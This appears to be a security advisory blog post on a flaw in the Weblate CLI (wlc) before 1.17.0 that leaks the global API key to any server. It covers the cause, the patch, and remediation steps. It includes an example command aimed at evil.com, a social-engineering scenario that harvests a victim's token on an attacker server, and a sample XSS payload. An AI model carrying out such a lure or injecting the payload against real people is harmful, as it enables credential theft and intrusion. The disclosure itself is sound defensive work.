Feb 21, 2026·7 min read·5 visits
The Weblate CLI (wlc) < 1.17.0 sends your primary API key to *any* server you connect to if a specific key isn't defined for that URL. Connecting to a malicious server leaks your credentials.
A classic case of 'convenience over security' in the Weblate command-line client (wlc) resulted in a critical scoping vulnerability. Prior to version 1.17.0, the tool treated API keys as global citizens rather than scoped credentials. This meant that if a developer configured a default key for their corporate instance but then connected to a third-party or malicious Weblate server, the client would happily hand over the corporate keys in the HTTP Authorization header. It's a textbook credential leak scenario triggered by the client-side configuration logic.
Developers love command-line interfaces (CLIs). We love them because they are fast, scriptable, and allow us to feel like hackers in 90s movies. But there is a dark side to CLI tools: configuration management. specifically, where and how we store the secrets that let us authenticate.
wlc is the official Python-based CLI for Weblate, a popular web-based translation tool. It allows you to push translations, pull changes, and manage projects without leaving your terminal. To do this, it needs an API key. Naturally, you shove this key into a config file (usually ~/.config/weblate or weblate.ini) so you don't have to type it every time.
Here is where the design philosophy went off the rails. In a sane world, an API key is strictly bound to a specific endpoint (Scope). My key for google.com should never be sent to bing.com. But wlc decided to be "helpful." It implemented a fallback mechanism where, if you defined a key in the general [weblate] section of your config, that key became the Universal Key. It didn't matter where you were connecting—corporate server, open-source project, or a sketchy IP address you found on a forum—wlc would grab that global key and attach it to the request header.
This is the digital equivalent of having a master key for your house, and when you check into a hotel, you hand the receptionist that master key instead of just showing ID.
The vulnerability wasn't a buffer overflow or a complex heap grooming exercise. It was a logical fallacy in wlc/config.py. The root cause lay in how the application parsed its configuration hierarchy.
The class WeblateConfig had a method responsible for fetching credentials: get_url_key(). Its job was simple: "I am connecting to URL X, give me the key for X."
However, the implementation prioritized convenience. It checked the general [weblate] section first (or as a fallback with equal weight). If a key existed there, the code essentially said, "Great, we have a key! Let's use it." It failed to validate if that key was actually intended for the target URL.
In older versions, the logic flow looked something like this:
wlc --url https://evil.com/api/ ...evil.com.[weblate] section.key = SECRET_CORP_KEY.Authorization: Token SECRET_CORP_KEY to https://evil.com/api/.This behavior is catastrophic in an ecosystem where developers might work on multiple Weblate instances—one for work, one for open source, and one for personal projects. A single configuration mistake turns a simple connection attempt into a full credential compromise.
Let's look at the smoking gun. The fix was pushed in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797 by Michal Čihař. The changes effectively nuke the global key concept.
The pre-patch logic allowed the configuration parser to blindly adopt the key from the defaults.
# pseudo-code of the vulnerable logic
section = 'weblate'
if self.config.has_option(section, 'key'):
return self.config.get(section, 'key')
# If we are here, we might look for scoped keys, or we already returned the global one.The patch does two critical things. First, it removes the default key from the initialization, and second, it forces a scoped lookup.
# wlc/config.py (Post-patch)
def get_url_key(self, url):
"""Return URL and key for given URL."""
# ... (url normalization logic)
+ # Explicitly look in the [keys] section using the URL as the index
+ return self.get("keys", url, fallback="")Furthermore, in wlc/main.py, they stopped polluting the global config object with CLI arguments. Instead of injecting command-line keys into the config (which might trigger the fallback logic), they stored them in separate attributes:
# wlc/main.py
- self.config.set_param(key, value)
+ # Store CLI args separately so they don't mix with config file logic
+ setattr(self, f"cli_{key}", value)This ensures that wlc behaves deterministically: if you don't have a key explicitly defined for a specific URL, it should fail (or ask for one), not guess using your most sensitive secret.
How do we weaponize this? We don't need to write shellcode; we just need to trick a developer. This falls under the "Social Engineering" side of exploitation, leveraging the user's trust in their tools.
https://weblate-community-patch.com.wlc configured with their company's API key in the [weblate] section of ~/.weblate.The attacker opens an issue on GitHub or sends a message: "Hey, can you help me debug a translation string? I've hosted it here: https://weblate-community-patch.com."
The victim, trying to be helpful, runs the CLI tool against the new URL:
$ wlc --url https://weblate-community-patch.com show projectsOn the attacker's server logs:
GET /api/projects/ HTTP/1.1
Host: weblate-community-patch.com
User-Agent: wlc/1.16
Authorization: Token wlb-pzp6... (The Victim's Corporate Key)
Accept: application/jsonJust like that, the attacker has a valid, scoped (or potentially admin) token for the victim's corporate environment. They didn't need to hack the corporation; they just asked the developer to knock on their door.
You might think, "It's just a translation tool key." But in modern DevOps, translation platforms like Weblate often sit in the critical path of the CI/CD pipeline. They have write access to source code repositories (to commit translations) or can trigger build webhooks.
An attacker with this key could:
<script>alert(1)</script>) which will then be pulled into the main application and executed in the browsers of every user.This vulnerability (CWE-200) has a CVSS of 5.3 because it requires user interaction, but the impact of a stolen credential can be far higher depending on what that key unlocks.
The immediate fix is software-based, but the long-term fix is behavioral.
1. Update wlc:
Ensure you are running version 1.17.0 or higher. This version enforces strict scoping.
2. Clean up your Config:
Open your ~/.config/weblate or weblate.ini file. Look for this anti-pattern:
[weblate]
url = https://weblate.example.com
key = wlb-xxxx <-- BAD! This is a global fallback.Change it to the scoped format:
[keys]
https://weblate.example.com/api/ = wlb-xxxx
https://opensource.weblate.org/api/ = wlb-yyyy3. Rotate your Keys:
If you have ever used wlc < 1.17.0 to connect to a server you don't control 100%, treat your keys as compromised. Go to your Weblate user profile and regenerate your API tokens immediately.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
wlc WeblateOrg | < 1.17.0 | 1.17.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-200 |
| Attack Vector | Local / User Interaction |
| CVSS Score | 5.3 (Medium) |
| EPSS Score | 0.00005 |
| Impact | Credential Leakage |
| Exploit Status | No Known Public Exploit |
Exposure of Sensitive Information to an Unauthorized Actor